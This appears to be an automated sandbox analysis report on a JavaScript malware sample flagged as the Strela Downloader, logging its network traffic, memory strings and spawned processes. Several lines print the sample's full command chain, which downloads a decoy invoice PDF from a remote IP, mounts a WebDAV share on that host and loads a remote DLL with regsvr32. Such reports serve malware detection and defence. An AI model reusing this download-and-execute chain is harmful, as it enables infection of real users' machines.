HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1305612707.0000027FB0346000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1304056353.0000027FB0321000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1365352083.00000169F5938000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1365352083.00000169F5990000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1365352083.00000169F5962000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1365352083.00000169F5938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.2597181768.000001B608A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1370261080.000001B608C10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7420, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1446217142313155154.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v54o0e2o.fat.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,2189747956658649784,4127867382549663690,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,2189747956658649784,4127867382549663690,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
